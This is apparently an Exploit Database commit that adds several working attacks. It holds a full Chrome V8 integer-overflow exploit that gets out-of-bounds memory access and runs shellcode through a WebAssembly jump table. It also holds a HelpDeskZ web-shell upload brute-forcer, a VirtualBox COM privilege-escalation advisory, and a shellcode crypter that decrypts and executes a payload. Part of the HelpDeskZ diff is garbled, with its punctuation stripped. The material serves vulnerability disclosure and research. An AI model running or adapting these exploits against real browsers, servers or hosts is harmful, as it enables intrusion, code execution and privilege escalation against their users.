DB: 2019-04-25
4 changes to exploits/shellcodes VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow Linux/x86 - Rabbit Shellcode Crypter (200 bytes)
This commit is contained in:
Offensive Security
parent
eed95d3393
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6 changed files with 619 additions and 2 deletions
402
exploits/multiple/remote/46748.txt
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402
exploits/multiple/remote/46748.txt
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VULNERABILITY DETAILS
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https://cs.chromium.org/chromium/src/v8/src/heap/factory.cc?rcl=dd689541d3815d64b4b39f6a41603248c71aa00e&l=496
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Handle<FixedArrayBase> Factory::NewFixedDoubleArray(int length,
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PretenureFlag pretenure) {
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DCHECK_LE(0, length);
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if (length == 0) return empty_fixed_array();
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if (length > FixedDoubleArray::kMaxLength) { // ***1***
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isolate()->heap()->FatalProcessOutOfMemory("invalid array length");
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}
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int size = FixedDoubleArray::SizeFor(length); // ***2***
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Map map = *fixed_double_array_map();
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HeapObject result =
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AllocateRawWithImmortalMap(size, pretenure, map, kDoubleAligned);
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Handle<FixedDoubleArray> array(FixedDoubleArray::cast(result), isolate());
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array->set_length(length);
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return array;
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}
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https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=933508f981a984b7868d70c3adb781783e5aa32d&l=1183
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Object Slow_ArrayConcat(BuiltinArguments* args, Handle<Object> species,
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Isolate* isolate) {
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[...]
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uint32_t estimate_result_length = 0;
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uint32_t estimate_nof = 0;
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FOR_WITH_HANDLE_SCOPE(isolate, int, i = 0, i, i < argument_count, i++, {
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Handle<Object> obj = args->at(i);
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uint32_t length_estimate;
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uint32_t element_estimate;
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if (obj->IsJSArray()) {
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Handle<JSArray> array(Handle<JSArray>::cast(obj));
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length_estimate = static_cast<uint32_t>(array->length()->Number());
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if (length_estimate != 0) {
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ElementsKind array_kind =
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GetPackedElementsKind(array->GetElementsKind());
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kind = GetMoreGeneralElementsKind(kind, array_kind);
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}
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element_estimate = EstimateElementCount(isolate, array);
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} else {
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[...]
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}
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// Avoid overflows by capping at kMaxElementCount.
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if (JSObject::kMaxElementCount - estimate_result_length < length_estimate) { // ***3***
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estimate_result_length = JSObject::kMaxElementCount;
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} else {
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estimate_result_length += length_estimate;
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}
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if (JSObject::kMaxElementCount - estimate_nof < element_estimate) {
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estimate_nof = JSObject::kMaxElementCount;
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} else {
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estimate_nof += element_estimate;
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}
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});
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// If estimated number of elements is more than half of length, a
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// fixed array (fast case) is more time and space-efficient than a
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// dictionary.
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bool fast_case = is_array_species &&
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(estimate_nof * 2) >= estimate_result_length &&
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isolate->IsIsConcatSpreadableLookupChainIntact(); // ***4***
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if (fast_case && kind == PACKED_DOUBLE_ELEMENTS) {
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Handle<FixedArrayBase> storage =
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isolate->factory()->NewFixedDoubleArray(estimate_result_length); // ***5***
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[...]
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https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=9ea32aab5b494eaaf27ced51a6608e8400a3c4e5&l=1378
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MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,
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BuiltinArguments* args) {
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[...]
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int result_len = 0;
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{
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DisallowHeapAllocation no_gc;
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// Iterate through all the arguments performing checks
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// and calculating total length.
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for (int i = 0; i < n_arguments; i++) {
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Object arg = (*args)[i];
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if (!arg->IsJSArray()) return MaybeHandle<JSArray>();
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if (!HasOnlySimpleReceiverElements(isolate, JSObject::cast(arg))) {
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return MaybeHandle<JSArray>();
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}
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// TODO(cbruni): support fast concatenation of DICTIONARY_ELEMENTS.
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if (!JSObject::cast(arg)->HasFastElements()) {
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return MaybeHandle<JSArray>();
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}
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Handle<JSArray> array(JSArray::cast(arg), isolate);
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if (!IsSimpleArray(isolate, array)) { // ***6***
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return MaybeHandle<JSArray>();
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}
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// The Array length is guaranted to be <= kHalfOfMaxInt thus we won't
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// overflow.
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result_len += Smi::ToInt(array->length());
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DCHECK_GE(result_len, 0);
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// Throw an Error if we overflow the FixedArray limits
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if (FixedDoubleArray::kMaxLength < result_len || /// ***7***
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FixedArray::kMaxLength < result_len) {
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AllowHeapAllocation gc;
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THROW_NEW_ERROR(isolate,
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NewRangeError(MessageTemplate::kInvalidArrayLength),
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JSArray);
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}
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}
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}
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return ElementsAccessor::Concat(isolate, args, n_arguments, result_len);
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}
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https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=9ea32aab5b494eaaf27ced51a6608e8400a3c4e5&l=244
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BUILTIN(ArrayPrototypeFill) {
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[...]
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// 2. Let len be ? ToLength(? Get(O, "length")).
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double length;
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MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
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isolate, length, GetLengthProperty(isolate, receiver)); // ***8***
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// 3. Let relativeStart be ? ToInteger(start).
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// 4. If relativeStart < 0, let k be max((len + relativeStart), 0);
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// else let k be min(relativeStart, len).
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Handle<Object> start = args.atOrUndefined(isolate, 2);
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double start_index;
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MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
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isolate, start_index, GetRelativeIndex(isolate, length, start, 0)); // ***9***
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// 5. If end is undefined, let relativeEnd be len;
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// else let relativeEnd be ? ToInteger(end).
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// 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
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// else let final be min(relativeEnd, len).
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Handle<Object> end = args.atOrUndefined(isolate, 3);
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double end_index;
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MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
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isolate, end_index, GetRelativeIndex(isolate, length, end, length));
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[...]
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if (TryFastArrayFill(isolate, &args, receiver, value, start_index,
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end_index)) {
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https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=d8b0d88de4b7d73ea02abb8511c146944d6ccf67&l=2244
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static Object FillImpl(Handle<JSObject> receiver, Handle<Object> obj_value,
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uint32_t start, uint32_t end) {
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// Ensure indexes are within array bounds
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DCHECK_LE(0, start);
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DCHECK_LE(start, end);
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// Make sure COW arrays are copied.
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if (IsSmiOrObjectElementsKind(Subclass::kind())) {
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JSObject::EnsureWritableFastElements(receiver);
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}
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// Make sure we have enough space.
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uint32_t capacity =
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Subclass::GetCapacityImpl(*receiver, receiver->elements());
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if (end > capacity) {
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Subclass::GrowCapacityAndConvertImpl(receiver, end); // ***10***
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CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
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}
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|NewFixedDoubleArray| doesn't expect the |length| argument to be negative (there's even a DCHECK for
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that), as it would pass the maximum length check[1] and cause an integer overflow when computing the
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size of the backing store[2]. The undersized backing store then might be used for out-of-bounds
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access. It turns out there are at least two methods that allow passing negative values to
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|NewFixedDoubleArray|.
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1. Concat
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The implementation of |Array.prototype.concat| in V8 has quite a few fast code paths that deal with
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different kinds of arguments. The structure roughly looks like:
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+------------------+
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+--------------> Fast_ArrayConcat |
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| +------------------+ ***********************
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+-------------+ * *
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| | +----------------> packed double array *
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| ArrayConcat | | * *
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| | | ***********************
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+-------------+ |
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| +------------------+ +---------------------+
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+--------------> Slow_ArrayConcat | +------------------> fixed array storage |
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+------------------+ | +---------------------+
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| +---------------------+ +---------------------+
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+----------------> ArrayConcatVisitor +-------> dictionary storage |
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+---------------------+ +---------------------+
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| +---------------------+
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+------------------> JSReceiver storage |
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+---------------------+
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The relevant code path for this issue is the packed double array case inside |Slow_ArrayConcat|.
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The method uses an unsigned variable for computing the result array length and caps it at
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|kMaxElementCount|[3], i.e., at 0xffffffff. Then the value of the variable gets converted to a
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*signed* type and passed to |NewFixedDoubleArray|[5] provided that the |fast_case| condition is
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satisfied[4], and the estimated array type is PACKED_DOUBLE. Thus, any value in the range
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[0x80000000, 0xffffffff] could pass the length check and trigger the overflow.
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That still means an attacker has to make the method iterate through more than two billion array
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elements, which might seem implausible; actually, the whole process takes just a couple of seconds
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on a modern machine and has moderate memory requirements because multiple arguments can refer to the
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same array.
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Also, |ArrayConcat| calls |Fast_ArrayConcat| in the beginning, and the fast method has a more strict
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length check, which might throw an error when the result length is more than |FixedDoubleArray::
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kMaxLength|[7]. So, the attacker has to make |Fast_ArrayConcat| return early without triggering the
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error. The easiest way to achieve that is to define an additional property on the array.
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REPRODUCTION CASE:
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<script>
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const MB = 1024 * 1024,
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block_size = 32 * MB;
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array = Array(block_size).fill(1.1);
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array.prop = 1;
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args = Array(2048 * MB / block_size - 2).fill(array);
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args.push(Array(block_size));
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array.concat.apply(array, args);
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</script>
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2. Fill
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The bug in |concat| allows writing data beyond the bounds of an array, but it's difficult to limit
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the size of the OOB data to a sane value, which makes the exploitation primitive less useful.
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So, I've spent some time looking for variants of the issue, and found one in |Array.prototype.fill|.
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|ArrayPrototypeFill| initially obtains the length of an array[8] and uses that value to limit the
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|start| and |end| arguments. However, a later call to |GetRelativeIndex|[9] might trigger a
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user-defined JS function, which could modify the length. Usually, that's enough to cause OOB
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access, so |FastElementsAccessor::FillImpl| double-checks that the capacity of the array is not less
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than |end| and might call |GrowCapacityAndConvertImpl|[10], which in turn might call
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|NewFixedDoubleArray|. The issue here is that there's no check that |end| is small enough to fit in
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a signed type; therefore the same overflow leading to the allocation of an undersized backing store
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could occur.
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REPRODUCTION CASE:
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<script>
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array = [];
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array.length = 0xffffffff;
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b = array.fill(1.1, 0, {valueOf() {
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array.length = 32;
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array.fill(1.1);
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return 0x80000000;
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}});
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</script>
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Exploitation:
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Unlike |concat|, |fill| conveniently allows limiting the size of the OOB block by modifying the
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|start| argument. The exploit forces the method to return an array whose length value is bigger than
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the actual size of the backing store, which is essentially a ready-to-use OOB read/write
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exploitation primitive. The rest is just copied from https://crbug.com/931640.
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<script>
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let data_view = new DataView(new ArrayBuffer(8));
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reverseDword = dword => {
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data_view.setUint32(0, dword, true);
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return data_view.getUint32(0, false);
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}
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reverseQword = qword => {
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data_view.setBigUint64(0, qword, true);
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return data_view.getBigUint64(0, false);
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}
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floatAsQword = float => {
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data_view.setFloat64(0, float);
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return data_view.getBigUint64(0);
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}
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qwordAsFloat = qword => {
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data_view.setBigUint64(0, qword);
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return data_view.getFloat64(0);
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}
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let oob_access_array;
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let ptr_leak_object;
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let arbirary_access_array;
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let ptr_leak_index;
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let external_ptr_index;
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let external_ptr_backup;
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const MARKER = 0x31337;
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leakPtr = obj => {
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ptr_leak_object[0] = obj;
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return floatAsQword(oob_access_array[ptr_leak_index]);
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}
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getQword = address => {
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oob_access_array[external_ptr_index] = qwordAsFloat(address);
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return arbirary_access_array[0];
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oob_access_array[external_ptr_index] = external_ptr_backup;
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}
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setQword = (address, value) => {
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oob_access_array[external_ptr_index] = qwordAsFloat(address);
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arbirary_access_array[0] = value;
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oob_access_array[external_ptr_index] = external_ptr_backup;
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}
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getField = (object_ptr, num, tagged = true) =>
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object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));
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setBytes = (address, array) => {
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for (let i = 0; i < array.length; ++i) {
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setQword(address + BigInt(i), BigInt(array[i]));
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}
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}
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triggerOob = () => {
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array = [];
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array.length = 0xffffffff;
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ptr_leak_object = {};
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arbirary_access_array = new BigUint64Array(1);
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oob_access_array = array.fill(1.1, 0x80000000 - 1, {valueOf() {
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array.length = 32;
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array.fill(1.1);
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return 0x80000000;
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}});
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ptr_leak_object[0] = MARKER;
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arbirary_access_array.buffer;
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}
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findOffsets = () => {
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let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
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for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;
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++ptr_leak_index) {
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if (oob_access_array[ptr_leak_index] === markerAsFloat) {
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break;
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}
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}
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let oneAsFloat = qwordAsFloat(1n << 32n);
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for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;
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++external_ptr_index) {
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if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&
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oob_access_array[external_ptr_index - 1] === 0) {
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break;
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}
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}
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if (ptr_leak_index === oob_access_array.length ||
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external_ptr_index === oob_access_array.length) {
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throw alert("Couldn't locate the offsets");
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}
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external_ptr_backup = oob_access_array[external_ptr_index];
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}
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runCalc = () => {
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const wasm_code = new Uint8Array([
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0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
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0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
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0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
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0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
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0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
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0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
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0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
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0x00, 0x00, 0x41, 0x00, 0x0b
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]);
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const wasm_instance = new WebAssembly.Instance(
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new WebAssembly.Module(wasm_code));
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const wasm_func = wasm_instance.exports.a;
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const shellcode = [
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0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32,
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0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56,
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0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57,
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0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00,
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0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f,
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0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d,
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0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c,
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0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53,
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0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00
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];
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wasm_instance_ptr = leakPtr(wasm_instance);
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const jump_table = getQword(getField(wasm_instance_ptr, 33));
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setBytes(jump_table, shellcode);
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wasm_func();
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}
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triggerOob();
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findOffsets();
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runCalc();
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</script>
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VERSION
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Google Chrome 72.0.3626.121 (Official Build) (64-bit)
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Google Chrome 74.0.3725.0 (Official Build) canary
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I'd recommend changing |NewFixedDoubleArray| so it throws an OOM error on negative values, the same
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way as the similar |AllocateRawFixedArray| function currently does.
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@ -1,3 +1,70 @@
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'''
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#
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# Updated Exploit Provided by Drew Griess
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#
|
||||
# Exploit Title HelpDeskZ = v1.0.2 - Unauthenticated Shell Upload
|
||||
# Google Dork intextHelp Desk Software by HelpDeskZ
|
||||
# Date 2016-08-26
|
||||
# Exploit Author Lars Morgenroth - @krankoPwnz
|
||||
# Vendor Homepage httpwww.helpdeskz.com
|
||||
# Software Link httpsgithub.comevolutionscriptHelpDeskZ-1.0archivemaster.zip
|
||||
# Version = v1.0.2
|
||||
# Tested on
|
||||
# CVE
|
||||
|
||||
HelpDeskZ = v1.0.2 suffers from an unauthenticated shell upload vulnerability.
|
||||
|
||||
The software in the default configuration allows upload for .php-Files ( !! ). I think the developers thought it was no risk, because the filenames get obfuscated when they are uploaded. However, there is a weakness in the rename function of the uploaded file
|
||||
|
||||
controllers httpsgithub.comevolutionscriptHelpDeskZ-1.0tree006662bb856e126a38f2bb76df44a2e4e3d37350controllerssubmit_ticket_controller.php - Line 141
|
||||
$filename = md5($_FILES['attachment']['name'].time())...$ext;
|
||||
|
||||
So by guessing the time the file was uploaded, we can get RCE.
|
||||
|
||||
Steps to reproduce
|
||||
|
||||
httplocalhosthelpdeskzv=submit_ticket&action=displayForm
|
||||
|
||||
Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.
|
||||
|
||||
Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded
|
||||
|
||||
exploit.py httplocalhosthelpdeskz phpshell.php
|
||||
'''
|
||||
import hashlib
|
||||
import time
|
||||
import sys
|
||||
import requests
|
||||
import datetime
|
||||
|
||||
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
|
||||
|
||||
if len(sys.argv) 3
|
||||
print Usage {} [baseUrl] [nameOfUploadedFile].format(sys.argv[0])
|
||||
sys.exit(1)
|
||||
|
||||
helpdeskzBaseUrl = sys.argv[1]
|
||||
fileName = sys.argv[2]
|
||||
|
||||
|
||||
r = requests.get(helpdeskzBaseUrl)
|
||||
|
||||
#Gets the current time of the server to prevent timezone errors - DoctorEww
|
||||
currentTime = int((datetime.datetime.strptime(r.headers['date'], %a, %d %b %Y %H%M%S %Z) - datetime.datetime(1970,1,1)).total_seconds())
|
||||
|
||||
for x in range(0, 300)
|
||||
plaintext = fileName + str(currentTime - x)
|
||||
md5hash = hashlib.md5(plaintext).hexdigest()
|
||||
|
||||
url = helpdeskzBaseUrl+md5hash+'.php'
|
||||
response = requests.head(url)
|
||||
if response.status_code == 200
|
||||
print found!
|
||||
print url
|
||||
sys.exit(0)
|
||||
|
||||
print Sorry, I did not find anything
|
||||
|
||||
'''
|
||||
# Exploit Title: HelpDeskZ <= v1.0.2 - Unauthenticated Shell Upload
|
||||
# Google Dork: intext:"Help Desk Software by HelpDeskZ"
|
||||
|
|
@ -27,7 +94,7 @@ Enter anything in the mandatory fields, attach your phpshell.php, solve the capt
|
|||
Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:
|
||||
|
||||
exploit.py http://localhost/helpdeskz/ phpshell.php
|
||||
'''
|
||||
|
||||
import hashlib
|
||||
import time
|
||||
import sys
|
||||
|
|
@ -55,4 +122,5 @@ for x in range(0, 300):
|
|||
print url
|
||||
sys.exit(0)
|
||||
|
||||
print "Sorry, I did not find anything"
|
||||
print "Sorry, I did not find anything"
|
||||
'''
|
||||
35
exploits/windows/local/46747.txt
Normal file
35
exploits/windows/local/46747.txt
Normal file
|
|
@ -0,0 +1,35 @@
|
|||
VirtualBox: COM RPC Interface Code Injection Host EoP
|
||||
Platform: VirtualBox 6.0.4 r128413 x64 on Windows 10 1809
|
||||
Class: Elevation of Privilege
|
||||
|
||||
Summary:
|
||||
|
||||
The hardened VirtualBox process on a Windows host doesn’t secure its COM interface leading to arbitrary code injection and EoP.
|
||||
|
||||
Description:
|
||||
|
||||
This issue is similar in scope to others I’ve reported such as S0867394/CVE-2017-10204. It allows you to call arbitrary code inside the hardened process which can expose the kernel drivers to normal user processes resulting in EoP. I’m assuming that this is still an issue you’d like to fix?
|
||||
|
||||
The VirtualBox hardening code allows other processes running as the same user to read all virtual memory by granting the PROCESS_VM_READ access right. It isn’t obvious that this could result in arbitrary code execution, except that VirtualBox initializes out-of-process COM and by extension exposes an RPC interface. With access to read arbitrary memory from such a process it’s possible to call existing interfaces running inside the VirtualBox process such as the undocumented IRundown interface which COM uses for various infrastructure tasks. This interface has a DoCallback method which will execute an arbitrary function in the process with a single arbitrary pointer sized argument.
|
||||
|
||||
You can get more details from my blog about using this technique as a mechanism to bypass Windows Protected Processes, https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html. In this case we don’t need to abuse an old version of WERFault to dump memory as the hardening driver allows us to do just read memory.
|
||||
|
||||
To fix this issue you might want to block PROCESS_VM_READ access entirely, it’s not clear if this is a necessary access right for something or just because it didn’t seem to be dangerous. I’d also call CoInitializeSecurity at process start and pass an security descriptor to the pSecDesc parameter which limits access to administrators and perhaps service accounts. However be careful if you decide to only initialize CoInitializeSecurity as it’s process wide and has weird behaviors which might result in the security descriptor getting unset. I’d probably call the API every time you call CoInitialize just in case.
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
I’ve provided a PoC as a C# project. It will use the vulnerability to call ExitProcess with the exit code ‘12345678’ inside a VirtualBox process. Note that by default it’s designed to work out of the box on Windows 10 1809 x64 updated to March 2019. It will fallback to trying to lookup symbol addresses using the DBGHELP library if the combase DLL doesn’t match, however you’ll need to have cached the symbols for combase inside C:\ProgramData\dbg\sym. You can do this by running the ‘symchk’ tool from a Debugging Tools for Windows installation and passing the path to the x64 version of combase.
|
||||
|
||||
1) Compile the C# project using Visual Studio 2017. It’ll need to pull NtApiDotNet from NuGet to build.
|
||||
2) Start a virtual machine and note the PID of the hardened VirtualBox process.
|
||||
3) As a normal user run the PoC passing the PID of the hardened VirtualBox process.
|
||||
|
||||
Expected Result:
|
||||
The PoC fails to call code inside the target process.
|
||||
|
||||
Observed Result:
|
||||
The PoC executes ExitProcess inside the hardened process and verifies the return code once the process exits.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/46747.zip
|
||||
|
|
@ -10437,6 +10437,7 @@ id,file,description,date,author,type,platform,port
|
|||
46730,exploits/linux/local/46730.rb,"SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)",2019-04-19,Metasploit,local,linux,
|
||||
46737,exploits/windows/local/46737.py,"LabF nfsAxe 3.7 Ping Client - 'Host IP' Buffer Overflow (Direct Ret)",2019-04-22,"Dino Covotsos",local,windows,
|
||||
46742,exploits/windows/local/46742.txt,"Ross Video DashBoard 8.5.1 - Insecure Permissions",2019-04-23,LiquidWorm,local,windows,
|
||||
46747,exploits/windows/local/46747.txt,"VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation",2019-04-24,"Google Security Research",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -17355,6 +17356,7 @@ id,file,description,date,author,type,platform,port
|
|||
46725,exploits/windows/remote/46725.rb,"ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution (Metasploit)",2019-04-18,AkkuS,remote,windows,
|
||||
46731,exploits/multiple/remote/46731.rb,"Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)",2019-04-19,Metasploit,remote,multiple,
|
||||
46740,exploits/multiple/remote/46740.rb,"ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)",2019-04-22,AkkuS,remote,multiple,
|
||||
46748,exploits/multiple/remote/46748.txt,"Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow",2019-04-24,"Google Security Research",remote,multiple,
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -958,3 +958,4 @@ id,file,description,date,author,type,platform
|
|||
46696,shellcodes/generator/46696.py,"Linux/x86 - MMX-PUNPCKLBW Encoder Shellcode (61 bytes)",2019-04-15,"Petr Javorik",shellcode,generator
|
||||
46704,shellcodes/linux_x86/46704.txt,"Linux/x86 - Cat File Encode to base64 and post via curl to Webserver Shellcode (125 bytes)",2019-04-15,strider,shellcode,linux_x86
|
||||
46736,shellcodes/arm/46736.txt,"Linux/ARM - Password-Protected Reverse TCP Shellcode (100 bytes)",2019-04-22,"Alan Vivona",shellcode,arm
|
||||
46746,shellcodes/generator/46746.txt,"Linux/x86 - Rabbit Shellcode Crypter (200 bytes)",2019-04-24,"Petr Javorik",shellcode,generator
|
||||
|
|
|
|||
|
109
shellcodes/generator/46746.txt
Normal file
109
shellcodes/generator/46746.txt
Normal file
|
|
@ -0,0 +1,109 @@
|
|||
################################################################################
|
||||
# Introduction
|
||||
################################################################################
|
||||
#
|
||||
# Exploit Title: Rabbit Shellcode Crypter
|
||||
# Date: 24.4.2019
|
||||
# Exploit Author: Petr Javorik, www.mmquant.net
|
||||
# Tested on: Linux ubuntu 3.13.0-32-generic, x86
|
||||
# Description: Crypter which encrypts, decrypts and executes given shellcode
|
||||
# using Rabbit symmetric cipher
|
||||
#
|
||||
################################################################################
|
||||
# Keep in mind before use
|
||||
################################################################################
|
||||
#
|
||||
# 1. Max shellcode length 200 bytes (easily adjustable)
|
||||
# 2. You will probably have to adjust #include rabbit.c directive
|
||||
# 3. Encryption key is strictly 16 bytes
|
||||
#
|
||||
################################################################################
|
||||
# How to use
|
||||
################################################################################
|
||||
#
|
||||
# 1. Download ECRYPT rabbit library http://www.ecrypt.eu.org/stream/e2-rabbit.html
|
||||
# 2. Compile/Run $ gcc encrypt2rabbit.c -o encrypt2rabbit
|
||||
# 3. Copy encrypted shellcode to decryptAndExecute.c
|
||||
# 4. Compile $ gcc -fno-stack-protector -z execstack decryptAndExecute.c -o decryptAndExecute
|
||||
# 5. Run with encryption key $ ./decryptAndExecute someencryptkeyyy
|
||||
#
|
||||
################################################################################
|
||||
# Encryption
|
||||
################################################################################
|
||||
|
||||
// File: encrypt2rabbit.c
|
||||
// Author: Petr Javorik
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include "../rabbit/code/rabbit.c"
|
||||
|
||||
// execve /bin/ls
|
||||
unsigned char code[] = \
|
||||
"\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
|
||||
char key[16] = {'s', 'o', 'm', 'e', 'e', 'n', 'c', 'r', 'y', 'p', 't', 'k', 'e', 'y', 'y', 'y'};
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
ECRYPT_init();
|
||||
ECRYPT_ctx ctx;
|
||||
ECRYPT_keysetup(&ctx, key, 128, 0);
|
||||
u8 encrypted[200];
|
||||
int codeLen = strlen(code);
|
||||
ECRYPT_process_bytes(0, &ctx, code, encrypted, codeLen);
|
||||
|
||||
int i;
|
||||
printf("Encryption Key = ");
|
||||
for (i=0; i<16; i++)
|
||||
printf("%c", key[i]);
|
||||
printf("\n");
|
||||
|
||||
printf("Original = ");
|
||||
for (i=0; i<codeLen; i++)
|
||||
printf("\\x%02x", code[i]);
|
||||
printf("\n");
|
||||
|
||||
printf("Encrypted = ");
|
||||
for (i=0; i<codeLen; i++)
|
||||
printf("\\x%02x", encrypted[i]);
|
||||
printf ("\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
######################################
|
||||
$ ./encrypt2rabbit
|
||||
Encryption Key = someencryptkeyyy
|
||||
Original = \x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
|
||||
Encrypted = \x7f\xaf\xa4\x1e\xb7\x11\x01\x92\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30
|
||||
|
||||
################################################################################
|
||||
# Decryption/Execution
|
||||
################################################################################
|
||||
|
||||
// File: decryptAndExecute.c
|
||||
// Author: Petr Javorik
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include "../rabbit/code/rabbit.c"
|
||||
|
||||
unsigned char encrypted[] = \
|
||||
"\x7f\xaf\xa4\x1e\xb7\x11\x01\x92\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30";
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
ECRYPT_init();
|
||||
ECRYPT_ctx ctx;
|
||||
ECRYPT_keysetup(&ctx, argv[1], 128, 0);
|
||||
u8 decrypted[200];
|
||||
int codeLen = strlen(encrypted);
|
||||
ECRYPT_process_bytes(0, &ctx, encrypted, decrypted, codeLen);
|
||||
|
||||
int (*DecryptedFun)() = (int(*)())decrypted;
|
||||
DecryptedFun();
|
||||
}
|
||||
|
||||
######################################
|
||||
$ ./decryptAndExecute someencryptkeyyy
|
||||
decryptAndExecute decryptAndExecute.c encrypt2rabbit encrypt2rabbit.c execve-stack execve-stack.nasm execve-stack.o
|
||||
Loading…
Add table
Reference in a new issue